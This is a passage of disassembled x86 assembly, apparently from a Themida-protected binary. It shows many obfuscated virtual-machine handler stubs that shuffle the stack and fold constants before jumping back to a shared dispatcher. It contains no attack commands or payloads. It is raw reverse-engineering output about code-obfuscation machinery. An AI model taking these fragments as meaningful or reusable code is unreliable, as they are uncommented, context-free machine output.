; ---------------------------------------------------------------------------


loc_56E941:				; CODE XREF: sub_56207C+E922j
		mov	dl, byte ptr [esp+18h+var_14]
		mov	byte ptr [esp+18h+var_14], bl
		pop	ebx
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56E94F:				; CODE XREF: sub_56207C+C66Aj
		neg	ebp
		add	ebp, 706D67C0h
		add	eax, ebp
		pop	ebp
		push	edx
		mov	edx, 5F1AB0B2h
		jmp	loc_565585
; ---------------------------------------------------------------------------


loc_56E965:				; CODE XREF: sub_56207C+2093j
		add	al, 0A6h
		add	al, 0CFh
		mov	dh, al
		pop	eax
		sub	al, 5Bh
		jmp	loc_5627EA
; ---------------------------------------------------------------------------


loc_56E973:				; CODE XREF: sub_56207C-1B4Bj
		push	ebx
		push	[esp+14h+var_10]
		push	[esp+18h+var_18]
		pop	ebx
		push	esi
		push	esp
		pop	esi
		jmp	loc_5620CB
; ---------------------------------------------------------------------------


loc_56E984:				; CODE XREF: sub_56207C+C27Fj
		not	eax
		shr	eax, 7
		add	eax, 5F654F28h
		push	edx
		mov	edx, 44DD37C9h
		or	eax, edx
		pop	edx
		sub	eax, 2D96355Ch
		sub	esp, 4
		mov	[esp+58h+var_58], eax
		add	[esp+58h+var_58], 1355007Fh
		push	[esp+58h+var_58]
		pop	edi
		jmp	loc_56B236
; ---------------------------------------------------------------------------


loc_56E9B2:				; CODE XREF: sub_56207C+FD0Bj
		and	ebp, 54121CB5h
		sub	ebp, 354F5B8Bh
		xor	ebp, 0CD47C81Eh
		and	edi, ebp
		pop	ebp
		add	edi, 45A4FC1Ah
		mov	ecx, edi
		pop	edi
		shl	ecx, 3
		shr	ecx, 5
		inc	ecx
		or	ecx, 1BB22D27h
		jmp	loc_55F25F
; ---------------------------------------------------------------------------


loc_56E9E2:				; CODE XREF: sub_56207C-2F96j
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56E9E7:				; CODE XREF: sub_56207C+1797j
		and	ebx, edi
		jmp	loc_563714
; ---------------------------------------------------------------------------


loc_56E9EE:				; CODE XREF: sub_56207C+8981j
		xchg	ebx, [esp+10h+var_10]
		pop	esp
		pop	ecx
		jmp	loc_56917E
; ---------------------------------------------------------------------------


loc_56E9F8:				; CODE XREF: sub_56207C+105D2j
		xor	cl, 51h
		or	bl, cl
		jmp	loc_5644D8
; ---------------------------------------------------------------------------


loc_56EA02:				; CODE XREF: sub_56207C+10FD9j
		mov	eax, edi
		jmp	loc_567588
; ---------------------------------------------------------------------------


loc_56EA09:				; CODE XREF: sub_56207C+45B4j
		push	75DFh
		mov	[esp+38h+var_38], ecx
		jmp	loc_5630C8
; ---------------------------------------------------------------------------


loc_56EA16:				; CODE XREF: sub_56207C+18B7j
		add	ax, 1A2Ah
		push	ebx
		mov	bx, 3E4Ch
		sub	bx, 4017h
		xor	bx, 44DCh
		sub	ax, bx
		pop	ebx
		mov	dx, ax
		jmp	loc_565701
; ---------------------------------------------------------------------------


loc_56EA35:				; CODE XREF: sub_56207C+D30Ej
		mov	esi, 12A44EC4h
		push	ebp
		mov	ebp, 1EDBE675h
		mov	edx, ebp
		jmp	loc_560DB5
; ---------------------------------------------------------------------------


loc_56EA47:				; CODE XREF: sub_56207C+96C3j
		sub	ebp, 5C99013Eh
		push	eax
		mov	eax, 7110FDh
		xor	eax, 0BAF50D51h
		sub	ebp, eax
		mov	eax, [esp-12h+arg_C+2]
		push	ecx
		jmp	loc_572980
; ---------------------------------------------------------------------------


loc_56EA63:				; CODE XREF: sub_56207C-3436j
		add	edi, 24AD4027h
		sub	edi, 30936D4Dh
		sub	edi, 0C8F2A55h
		add	edi, esi
		push	edx
		mov	edx, 0C8F2A55h
		add	edi, edx
		pop	edx
		jmp	loc_56FD77
; ---------------------------------------------------------------------------


loc_56EA85:				; CODE XREF: sub_56207C+372Ej
		pop	esi
		jmp	loc_564A14
; ---------------------------------------------------------------------------


loc_56EA8B:				; CODE XREF: sub_56207C-420j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+3Ch+var_3C]
		pop	esp
		mov	[esp+38h+var_38], esi
		jmp	loc_568C5E
; ---------------------------------------------------------------------------


loc_56EAA5:				; CODE XREF: sub_56207C+EE7Cj
		push	ebx
		mov	bh, 8Dh
		and	cl, bh
		jmp	loc_570199
; ---------------------------------------------------------------------------


loc_56EAAF:				; CODE XREF: sub_56207C-1C31j
		add	ebx, ecx
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		push	edx
		mov	edx, 19D035B8h
		add	ebx, edx
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_5665CF
; ---------------------------------------------------------------------------


loc_56EAD6:				; CODE XREF: sub_56207C+115BEj
		add	eax, 3B6613DDh
		add	eax, ebp
		sub	eax, 3B6613DDh
		pop	ebp
		push	ebp
		mov	ebp, 4
		add	eax, 2CF257DCh
		add	eax, ebp
		push	ecx
		mov	ecx, 7C5D7859h
		sub	ecx, 4F6B207Dh
		push	edx
		jmp	loc_5732C6
; ---------------------------------------------------------------------------


loc_56EB02:				; DATA XREF: Themida_:0055E134o
		lodsb
		xor	al, bl
		jmp	loc_5602DE
; ---------------------------------------------------------------------------


loc_56EB0A:				; CODE XREF: sub_56207C+3F1Cj
		add	ecx, 10974400h
		add	ecx, edi
		sub	ecx, 10974400h
		pop	edi
		jmp	loc_5710EB
; ---------------------------------------------------------------------------


loc_56EB1E:				; CODE XREF: sub_56207C+27FBj
		or	cl, 1
		push	ebx
		mov	bh, 7
		sub	cl, bh
		mov	ebx, [esp+38h+var_38]
		add	esp, 4
		jmp	loc_56F2FC
; ---------------------------------------------------------------------------


loc_56EB31:				; CODE XREF: sub_56207C-838j
		mov	esi, ebx
		mov	ebx, [esp+2Ah+var_2C+2]
		add	esp, 4
		mov	ebp, [esp+26h+var_28+2]
		push	ebp
		jmp	loc_56F2D9
; ---------------------------------------------------------------------------


loc_56EB45:				; CODE XREF: sub_56207C+E236j
		mov	esi, 9D41E60Eh
		add	esi, ebx
		jmp	loc_569F49
; ---------------------------------------------------------------------------


loc_56EB51:				; CODE XREF: sub_56207C+8DCBj
		pop	edi
		jmp	loc_56E4FA
; ---------------------------------------------------------------------------


loc_56EB57:				; CODE XREF: sub_56207C+F4B9j
		pop	esp
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56EB5D:				; CODE XREF: sub_56207C+30C9j
		mov	eax, [esp+26h+var_28+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_566A9E
; ---------------------------------------------------------------------------


loc_56EB6E:				; CODE XREF: sub_56207C+6865j
		inc	byte ptr [esp+26h+var_28+2]
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56EB77:				; CODE XREF: sub_56207C-1FF0j
		dec	al
		shr	al, 4
		shr	al, 7
		jmp	loc_5700D0
; ---------------------------------------------------------------------------


loc_56EB84:				; CODE XREF: sub_56207C+50F7j
		mov	esi, 645B51ABh
		not	esi
		not	esi
		dec	esi
		shr	esi, 8
		xor	esi, 47F72126h
		xor	esi, 47EA61A4h
		jmp	loc_560A36
; ---------------------------------------------------------------------------


loc_56EBA2:				; CODE XREF: sub_56207C+5FC9j
		pop	eax
		add	eax, 0E0F9DDB7h
		mov	ebp, eax
		pop	eax
		jmp	loc_56AC9F
; ---------------------------------------------------------------------------


loc_56EBB0:				; CODE XREF: sub_56207C+5427j
		xor	ebx, 6162680Eh
		jmp	loc_56A44F
; ---------------------------------------------------------------------------


loc_56EBBB:				; CODE XREF: sub_56207C-2E3Ej
		pop	ecx
		add	ebx, edx
		push	[esp+1Ah+var_1C+2]
		jmp	loc_567265
; ---------------------------------------------------------------------------


loc_56EBC6:				; CODE XREF: sub_56207C+886Bj
		not	esi
		xchg	esi, [esp+0Eh+var_10+2]
		pop	edx
		add	edx, 48982007h
		or	ebx, edx
		jmp	loc_570FD6
; ---------------------------------------------------------------------------


loc_56EBD9:				; CODE XREF: sub_56207C+ECA4j
		sub	ecx, 0E230FB5h
		add	ecx, ebx
		push	edx
		mov	edx, 66850110h
		jmp	loc_561155
; ---------------------------------------------------------------------------


loc_56EBEC:				; CODE XREF: sub_56207C-2F06j
		mov	edx, 130D41FDh
		inc	edx
		neg	edx
		shr	edx, 7
		shr	edx, 2
		dec	edx
		xor	edx, 477077A7h
		mov	eax, edx
		push	[esp+16h+var_18+2]
		pop	edx
		add	esp, 4
		not	eax
		inc	eax
		sub	eax, 0ABE77976h
		mov	edi, eax
		pop	eax
		sub	edx, edi
		pop	edi
		jmp	loc_572429
; ---------------------------------------------------------------------------


loc_56EC1D:				; CODE XREF: sub_56207C+E3F5j
		mov	ah, 6Dh
		mov	dh, 37h
		push	ax
		push	ecx
		mov	ch, 47h
		jmp	loc_56C2B4
; ---------------------------------------------------------------------------


loc_56EC2B:				; CODE XREF: sub_56207C+A88Dj
		or	ah, bh
		push	[esp+30h+var_30]
		pop	ebx
		add	esp, 4
		sub	ah, 0A4h
		xor	ah, 0C1h
		jmp	loc_56798F
; ---------------------------------------------------------------------------


loc_56EC42:				; CODE XREF: sub_56207C+FDDEj
		pop	ebx
		add	edx, eax
		push	esi
		mov	esi, 3F9366B2h
		add	edx, esi
		mov	esi, [esp+2Ch+var_2C]
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp+30h+var_30], edi
		mov	edi, 20824C74h
		mov	ebx, edi
		mov	edi, [esp+30h+var_30]
		add	esp, 4
		sub	edx, 68F838F0h
		add	edx, ebx
		add	edx, 68F838F0h
		pop	ebx
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56EC81:				; CODE XREF: sub_56207C+73C9j
		mov	[esp+32h+var_34+2], esi
		push	4
		jmp	loc_56536F
; ---------------------------------------------------------------------------


loc_56EC8E:				; CODE XREF: sub_56207C+B2Aj
		pop	edi
		xor	ebx, 6E40FD3Bh
		add	eax, ebx
		pop	ebx
		push	edi
		push	3B22h
		mov	[esp+34h+var_34], eax
		mov	eax, 95468F2h
		push	eax
		sub	[esp+38h+var_38], 41FA3870h
		pop	edi
		add	edi, 41FA3870h
		mov	eax, [esp+34h+var_34]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		jmp	loc_56A186
; ---------------------------------------------------------------------------


loc_56ECC7:				; CODE XREF: sub_56207C+10587j
		add	[esp+3Ch+var_34], 589F38FAh
		sub	[esp+3Ch+var_34], ebp
		sub	[esp+3Ch+var_34], 589F38FAh
		mov	ebp, [esp+3Ch+var_3C]
		add	esp, 4
		add	[esp+38h+var_34], 155E3D74h
		mov	ebx, [esp+38h+var_38]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5690DF
; ---------------------------------------------------------------------------


loc_56ECFA:				; CODE XREF: sub_56207C+1011j
		shl	edx, 1
		jmp	loc_56B20D
; ---------------------------------------------------------------------------


loc_56ED01:				; CODE XREF: sub_56207C-7D6j
		dec	eax
		neg	eax
		or	eax, 32D11504h
		jmp	loc_56CBFB
; ---------------------------------------------------------------------------


loc_56ED0E:				; DATA XREF: Themida_:0055E354o
		lodsd
		push	ecx
		push	edx
		push	38750265h
		pop	edx
		or	edx, 0E4D7BC7h
		push	esi
		mov	esi, 2418D954h
		jmp	loc_5656B5
; ---------------------------------------------------------------------------


loc_56ED28:				; CODE XREF: sub_56207C+2A74j
		add	eax, 6E183E10h
		add	eax, ecx
		sub	eax, 6E183E10h
		jmp	loc_56939E
; ---------------------------------------------------------------------------


loc_56ED39:				; CODE XREF: sub_56207C+7546j
		mov	bl, ch
		mov	ah, bl
		pop	ebx
		pop	ecx
		mov	edx, [esp+28h+var_28]
		push	esi
		push	esp
		pop	esi
		push	eax
		mov	eax, 41BA3A5Ch
		shr	eax, 4
		add	eax, 2842217Dh
		shl	eax, 6
		dec	eax
		neg	eax
		sub	eax, 0E88EB77Dh
		jmp	loc_5652EA
; ---------------------------------------------------------------------------


loc_56ED63:				; CODE XREF: sub_56207C+3094j
		sub	ebp, 0FFFFFFFFh
		shl	ebp, 5
		shr	ebp, 2
		sub	ebp, 590D0FD7h
		jmp	loc_570177
; ---------------------------------------------------------------------------


loc_56ED77:				; CODE XREF: sub_56207C+E2D4j
		pop	eax
		jmp	loc_560871
; ---------------------------------------------------------------------------


loc_56ED7D:				; CODE XREF: sub_56207C+98DFj
		pop	ecx
		add	edi, ebx
		pop	ebx
		xor	ecx, edi
		mov	edi, [esp+1Ch+var_1C]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55F124
; ---------------------------------------------------------------------------


loc_56ED94:				; CODE XREF: sub_56207C+69BCj
		pop	edx
		sub	ebx, 0EC49F350h
		sub	eax, ebx
		jmp	loc_569189
; ---------------------------------------------------------------------------


loc_56EDA2:				; CODE XREF: sub_56207C+9F13j
		push	[esp+2Ch+var_28]
		jmp	loc_5644BB
; ---------------------------------------------------------------------------


loc_56EDAB:				; CODE XREF: sub_56207C-2592j
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56EDB3:				; CODE XREF: sub_56207C+B7BFj
		add	eax, 628D63E7h
		jmp	loc_561C9A
; ---------------------------------------------------------------------------


loc_56EDBD:				; CODE XREF: sub_56207C+9965j
		mov	edx, ebp
		pop	ebp
		add	esi, edx
		jmp	loc_5723EA
; ---------------------------------------------------------------------------


loc_56EDC7:				; DATA XREF: Themida_:0055E16Co
		push	[esp+1Ah+var_18+2]
		mov	eax, [esp+1Eh+var_20+2]
		sub	esp, 4
		jmp	loc_566D5C
; ---------------------------------------------------------------------------


loc_56EDD9:				; CODE XREF: sub_56207C+D557j
		sub	ebx, 4
		xchg	ebx, [esp+22h+var_24+2]
		pop	esp
		mov	[esp+1Eh+var_20+2], edi
		mov	edi, 2B4A7CA6h
		xor	eax, edi
		jmp	loc_561C37
; ---------------------------------------------------------------------------


loc_56EDF2:				; CODE XREF: sub_56207C+3ACBj
		not	edi
		push	eax
		jmp	loc_55E945
; ---------------------------------------------------------------------------


loc_56EDFA:				; CODE XREF: sub_56207C+54Aj
		xor	al, 72h
		shl	al, 6
		push	ecx
		mov	ch, 8
		add	ch, 0F6h
		sub	al, ch
		pop	ecx
		push	ecx
		mov	cl, 77h
		add	bl, cl
		pop	ecx
		sub	bl, 0A0h
		add	bl, al
		jmp	loc_56D498
; ---------------------------------------------------------------------------


loc_56EE18:				; CODE XREF: sub_56207C+AC53j
		push	59A1h
		mov	[esp+28h+var_28], eax
		jmp	loc_567CA0
; ---------------------------------------------------------------------------


loc_56EE25:				; CODE XREF: sub_56207C-A61j
		mov	edi, 37D11D2Bh
		add	edi, 26DF5A67h
		sub	edi, 5A08356Ah
		and	edi, 74BB77ECh
		jmp	loc_56F905
; ---------------------------------------------------------------------------


loc_56EE41:				; CODE XREF: sub_56207C+53C2j
		xor	[esp+18h+var_18], esi
		xor	esi, [esp+18h+var_18]
		jmp	loc_568FF4
; ---------------------------------------------------------------------------


loc_56EE4C:				; CODE XREF: sub_56207C+10550j
		pop	ebp
		mov	edi, eax
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		add	ebx, 339573FCh
		add	ebx, edi
		sub	ebx, 339573FCh
		mov	edi, [esp+10h+var_10]
		jmp	loc_5670DD
; ---------------------------------------------------------------------------


loc_56EE6E:				; CODE XREF: sub_56207C-117Dj
		mov	esi, [esp+30h+var_30]
		add	esp, 4
		jmp	loc_55F46F
; ---------------------------------------------------------------------------


loc_56EE7C:				; CODE XREF: sub_56207C-1A8Aj
		mov	[esp+24h+var_24], ebp
		mov	ebp, 1B455247h
		shr	ebp, 4
		or	ebp, 11DF52B7h
		sub	ebp, 11FF57B3h
		add	edx, ebp
		pop	ebp
		push	5094h
		mov	[esp+24h+var_24], ebp
		jmp	loc_56DA8F
; ---------------------------------------------------------------------------


loc_56EEA3:				; CODE XREF: sub_56207C+FCFFj
		sub	al, 0ADh
		add	al, 8Dh
		sub	esp, 2
		mov	word ptr [esp+28h+var_28], dx
		jmp	loc_563B8C
; ---------------------------------------------------------------------------


loc_56EEB3:				; CODE XREF: sub_56207C-26Ej
		sub	eax, esi
		pop	esi
		xor	eax, [esp+48h+var_48]
		xor	[esp+48h+var_48], eax
		jmp	loc_56DBF7
; ---------------------------------------------------------------------------


loc_56EEC1:				; CODE XREF: sub_56207C+90CCj
		add	esp, 4
		push	ebp
		mov	ebp, 17EF1AFEh
		jmp	loc_563D8E
; ---------------------------------------------------------------------------


loc_56EED2:				; CODE XREF: sub_56207C+10407j
		pop	eax
		push	esi
		jmp	loc_55FBC4
; ---------------------------------------------------------------------------


loc_56EED9:				; CODE XREF: sub_56207C+A14Aj
		sub	esi, 46C725F6h
		add	esi, ecx
		add	esi, 46C725F6h
		jmp	loc_568480
; ---------------------------------------------------------------------------


loc_56EEEC:				; DATA XREF: Themida_:0055E1CCo
		xchg	dl, byte ptr [esp+2Ah+var_2C+2]
		push	53BAh
		mov	[esp+2Eh+var_30+2], edx
		xor	byte ptr [esp+2Eh+var_30+2], ch
		xor	ch, byte ptr [esp+2Eh+var_30+2]
		xor	byte ptr [esp+2Eh+var_30+2], ch
		push	ax
		mov	al, ch
		not	al
		mov	ch, al
		pop	ax
		jmp	loc_564732
; ---------------------------------------------------------------------------


loc_56EF0F:				; CODE XREF: sub_56207C-23B1j
		sub	al, ch
		pop	ecx
		sub	al, bh
		jmp	loc_56BC71
; ---------------------------------------------------------------------------


loc_56EF19:				; CODE XREF: sub_56207C+DAB5j
		pop	esp
		xor	word ptr [esp+20h+var_20], ax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56EF24:				; CODE XREF: sub_56207C+DC36j
		pop	esp
		mov	[esp+20h+var_20], eax
		push	esp
		jmp	loc_565FF3
; ---------------------------------------------------------------------------


loc_56EF2E:				; CODE XREF: sub_56207C+3156j
		xor	[esp+36h+var_38+2], edx
		xor	edx, [esp+36h+var_38+2]
		mov	esp, [esp+36h+var_38+2]
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], esi
		jmp	loc_56369E
; ---------------------------------------------------------------------------


loc_56EF45:				; CODE XREF: sub_56207C-67Dj
		push	esi
		jmp	loc_5649E5
; ---------------------------------------------------------------------------


loc_56EF4B:				; CODE XREF: sub_56207C+918Cj
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56EF50:				; CODE XREF: sub_56207C-34A0j
		pop	ebx
		add	esp, 4
		xor	ebx, 2B051981h
		xor	ebx, 0FB5DE3DFh
		and	[edi+1Ch], ebx
		pop	ebx
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56EF69:				; CODE XREF: sub_56207C+FBEAj
		push	14CBh
		mov	[esp+26h+var_28+2], eax
		mov	eax, 6C6C65CCh
		add	[esp+26h+var_24+2], 32EE6E4Ch
		sub	[esp+26h+var_24+2], eax
		jmp	loc_5704C3
; ---------------------------------------------------------------------------


loc_56EF87:				; CODE XREF: sub_56207C+6E1j
		add	al, bh
		sub	al, 0DDh
		mov	bx, word ptr [esp+28h+var_28]
		push	6A5Fh
		mov	[esp+2Ch+var_2C], esi
		jmp	loc_5657C2
; ---------------------------------------------------------------------------


loc_56EF9C:				; CODE XREF: Themida_:0056188Ej
		pop	esp
		mov	[esp+28h+var_28], esi
		jmp	loc_56BE7E
; ---------------------------------------------------------------------------


loc_56EFA5:				; CODE XREF: sub_56207C+6FF5j
		add	al, bl
		push	edx
		mov	dl, 32h
		add	dl, 25h
		sub	al, dl
		jmp	loc_56D340
; ---------------------------------------------------------------------------


loc_56EFB4:				; CODE XREF: sub_56207C+A70Fj
		pop	ebx
		mov	esi, eax
		mov	eax, [esp+26h+var_28+2]
		add	esp, 4
		and	eax, esi
		push	[esp+22h+var_24+2]
		pop	esi
		jmp	loc_55F4AD
; ---------------------------------------------------------------------------


loc_56EFCB:				; CODE XREF: sub_56207C+EC80j
		push	55B7h
		push	esp
		jmp	loc_572725
; ---------------------------------------------------------------------------


loc_56EFD6:				; CODE XREF: sub_56207C+AC7Bj
		or	bh, 0Ah
		add	bh, 0FFh
		shr	bh, 1
		sub	bh, 0BCh
		xor	cl, bh
		mov	ebx, [esp+1Eh+var_20+2]
		add	esp, 4
		push	dx
		push	ecx
		mov	ch, 86h
		mov	dh, ch
		pop	ecx
		and	cl, dh
		pop	dx
		push	eax
		jmp	loc_565BB3
; ---------------------------------------------------------------------------


loc_56EFFB:				; CODE XREF: sub_56207C+999Bj
		push	1821h
		mov	[esp+2Ch+var_2C], ecx
		push	ebx
		mov	ebx, 783808A2h
		push	ebx
		mov	ebx, esp
		jmp	loc_563788
; ---------------------------------------------------------------------------


loc_56F011:				; CODE XREF: sub_56207C+E8F7j
		add	ebp, 17461018h
		jmp	loc_566BB8
; ---------------------------------------------------------------------------


loc_56F01C:				; CODE XREF: sub_56207C+6002j
		or	edi, 77C55954h
		add	edi, 881AA6A4h
		mov	edx, edi
		pop	edi
		jmp	loc_56AC4A
; ---------------------------------------------------------------------------


loc_56F030:				; CODE XREF: sub_56207C-2F5Dj
		shr	edx, 4
		dec	edx
		add	edx, 40321FF4h
		jmp	loc_5721A1
; ---------------------------------------------------------------------------


loc_56F03F:				; CODE XREF: sub_56207C+110F1j
		shl	edx, 6
		or	edx, 6C9B1E0Dh
		and	edx, 744D6D75h
		and	edx, 726727F7h
		add	edx, 8FBEDBBFh
		add	ecx, 619B6F80h
		add	ecx, edx
		jmp	loc_571EBD
; ---------------------------------------------------------------------------


loc_56F067:				; CODE XREF: sub_56207C+5F9Bj
		xchg	esi, [esp+2Eh+var_30+2]
		pop	esp
		jmp	loc_568152
; ---------------------------------------------------------------------------


loc_56F070:				; CODE XREF: sub_56207C+7149j
		push	4372h
		mov	[esp+20h+var_20], edi
		sub	esp, 4
		jmp	loc_55FE50
; ---------------------------------------------------------------------------


loc_56F083:				; CODE XREF: sub_56207C+5DEDj
		dec	ebp
		push	ecx
		mov	ecx, 0F6B7F78Bh
		xor	ebp, ecx
		mov	ecx, [esp+2Ah+var_2C+2]
		add	esp, 4
		sub	edi, ebp
		pop	ebp
		jmp	loc_56419D
; ---------------------------------------------------------------------------


loc_56F09A:				; CODE XREF: sub_56207C-102Dj
		add	ecx, edx
		pop	edx
		mov	esi, [esp+2Ch+var_2C]
		add	esp, 4
		xor	ecx, [esp+28h+var_28]
		xor	[esp+28h+var_28], ecx
		xor	ecx, [esp+28h+var_28]
		mov	esp, [esp+28h+var_28]
		inc	[esp+28h+var_28]
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56F0B8:				; CODE XREF: sub_56207C-1FBDj
		sub	esi, edi
		pop	edi
		jmp	loc_55FCEE
; ---------------------------------------------------------------------------


loc_56F0C0:				; CODE XREF: sub_56207C+48FAj
		mov	ecx, 0
		sub	ecx, ebp
		xchg	ecx, ebp
		pop	ecx
		jmp	loc_571C6B
; ---------------------------------------------------------------------------


loc_56F0CF:				; CODE XREF: sub_56207C+21D2j
		push	ebx
		push	2521h
		mov	[esp+2Ch+var_2C], edx
		push	eax
		mov	eax, 6ACC1937h
		push	4895h
		jmp	loc_568BEB
; ---------------------------------------------------------------------------


loc_56F0E8:				; CODE XREF: sub_56207C+2505j
		add	ebx, 1EA51E9Eh
		push	[esp+38h+var_38]
		mov	eax, [esp+3Ch+var_3C]
		add	esp, 4
		push	esi
		jmp	loc_5639E0
; ---------------------------------------------------------------------------


loc_56F0FD:				; CODE XREF: sub_56207C+C105j
		add	ebx, ecx
		pop	ecx
		push	esi
		mov	esi, 65D214A4h
		push	0
		sub	[esp+12h+var_14+2], 4C417497h
		sub	[esp+12h+var_14+2], esi
		add	[esp+12h+var_14+2], 4C417497h
		jmp	loc_5601A7
; ---------------------------------------------------------------------------


loc_56F121:				; CODE XREF: sub_56207C+A747j
		pop	ecx
		shr	dx, 3
		shr	dx, 3
		sub	dx, 1
		add	dx, 251Bh
		and	dx, 6865h
		push	small 7491h
		mov	word ptr [esp+36h+var_38+2], cx
		push	ebp
		jmp	loc_56BB38
; ---------------------------------------------------------------------------


loc_56F147:				; CODE XREF: sub_56207C+B4F3j
		add	esp, 4
		push	11C1h
		mov	[esp+18h+var_18], ecx
		push	edx
		mov	edx, 4
		jmp	loc_56B278
; ---------------------------------------------------------------------------


loc_56F15D:				; CODE XREF: sub_56207C+9F1Dj
		or	eax, 0A791CD8h
		inc	eax
		shr	eax, 6
		add	eax, 7244227Fh
		neg	eax
		xor	eax, 8C3DE901h
		push	3D77h
		mov	[esp+28h+var_28], edx
		mov	edx, 4F0E4FB7h
		dec	edx
		dec	edx
		shl	edx, 4
		shr	edx, 5
		push	0
		sub	[esp+2Ch+var_2C], 543723F7h
		sub	[esp+2Ch+var_2C], edx
		add	[esp+2Ch+var_2C], 543723F7h
		mov	edx, [esp+2Ch+var_2C]
		add	esp, 4
		jmp	loc_56C6AE
; ---------------------------------------------------------------------------


loc_56F1A8:				; CODE XREF: sub_56207C+B4DEj
		pop	edi
		mov	edx, [esp+1Eh+var_20+2]
		add	esp, 4
		pop	ebx
		add	ebx, esi
		mov	esi, [esp+16h+var_18+2]
		add	esp, 4
		push	eax
		jmp	loc_569CE6
; ---------------------------------------------------------------------------


loc_56F1C1:				; CODE XREF: sub_56207C+1D2Fj
		pop	esi
		pop	[esp+30h+var_30]
		jmp	loc_567E31
; ---------------------------------------------------------------------------


loc_56F1CA:				; CODE XREF: sub_56207C-3722j
		mov	ecx, 69AF105Eh
		add	ecx, 0B3F141Dh
		shl	ecx, 6
		xor	ecx, 401C5D45h
		jmp	loc_565BD4
; ---------------------------------------------------------------------------


loc_56F1E3:				; CODE XREF: sub_56207C+9D6Fj
		push	625Fh
		mov	[esp+2Eh+var_30+2], ebx
		push	ecx
		mov	ecx, 39D360FAh
		push	ebp
		mov	ebp, 1ECF2B6Ch
		dec	ebp
		shl	ebp, 7
		shl	ebp, 8
		jmp	loc_56F484
; ---------------------------------------------------------------------------


loc_56F203:				; CODE XREF: sub_56207C+6AACj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	[esp+arg_0]
		pop	ecx
		pop	dword ptr [esp+0]
		pop	esp
		jmp	loc_55E850
; ---------------------------------------------------------------------------


loc_56F221:				; CODE XREF: sub_56207C+2A3Cj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_565ACC
; ---------------------------------------------------------------------------


loc_56F231:				; CODE XREF: sub_56207C+2BE4j
		mov	eax, 4
		add	[esp+24h+var_20], eax
		pop	eax
		pop	[esp+20h+var_20]
		jmp	loc_571D33
; ---------------------------------------------------------------------------


loc_56F243:				; CODE XREF: sub_56207C-1C7j
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], eax
		mov	eax, 517D4802h
		mov	edx, 15F3148Eh
		shl	edx, 4
		jmp	loc_56A327
; ---------------------------------------------------------------------------


loc_56F25B:				; CODE XREF: sub_56207C+21B0j
		push	721557C5h
		pop	eax
		shr	eax, 4
		inc	eax
		push	ecx
		jmp	loc_566C4D
; ---------------------------------------------------------------------------


loc_56F26B:				; CODE XREF: sub_56207C+1FEFj
		pop	dword ptr [eax]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56F272:				; CODE XREF: sub_56207C+1693j
		add	ebp, 777F71E3h
		sub	ebp, ecx
		sub	ebp, 777F71E3h
		sub	ebp, 6CF62D30h
		push	753Dh
		mov	[esp+3Ah+var_3C+2], edx
		push	76391E59h
		pop	edx
		sub	ebp, 745D495Fh
		sub	ebp, edx
		add	ebp, 745D495Fh
		mov	edx, [esp+3Ah+var_3C+2]
		add	esp, 4
		pop	ecx
		xchg	ebp, [esp+32h+var_34+2]
		jmp	loc_56DF04
; ---------------------------------------------------------------------------


loc_56F2B4:				; CODE XREF: sub_56207C+E892j
		mov	ebp, 54E96D0Bh
		not	ebp
		jmp	loc_56F3C6
; ---------------------------------------------------------------------------


loc_56F2C0:				; CODE XREF: sub_56207C+1C6Dj
		push	edx
		mov	edx, 2
		sub	esi, edx
		pop	edx
		xchg	esi, [esp+2Ch+var_2C]
		pop	esp
		mov	word ptr [esp+28h+var_28], dx
		push	ax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56F2D9:				; CODE XREF: sub_56207C+CAC4j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_563235
; ---------------------------------------------------------------------------


loc_56F2EC:				; CODE XREF: sub_56207C+4436j
		add	esi, edi
		add	esi, 63564173h
		mov	edi, [esp+2+var_4+2]
		jmp	sub_55F501
; ---------------------------------------------------------------------------


loc_56F2FC:				; CODE XREF: sub_56207C+CAB0j
		xor	cl, 8
		add	bl, cl
		pop	ecx
		movzx	eax, al
		jmp	loc_562AD7
; ---------------------------------------------------------------------------


loc_56F30A:				; CODE XREF: sub_56207C+BA3Aj
		pop	ebp
		add	esi, eax
		jmp	loc_56AD1F
; ---------------------------------------------------------------------------


loc_56F312:				; CODE XREF: sub_56207C+7F56j
		mov	bh, cl
		pop	ecx
		pop	edx
		mov	dl, bh
		push	[esp+18h+var_18]
		mov	ebx, [esp+1Ch+var_1C]
		add	esp, 4
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_56563A
; ---------------------------------------------------------------------------


loc_56F33B:				; DATA XREF: Themida_:0055E1C8o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	byte ptr [esp+16h+var_18+2], al
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56F34A:				; CODE XREF: sub_56207C+247Bj
		push	46FCh
		mov	[esp+30h+var_30], ebp
		jmp	loc_563FB9
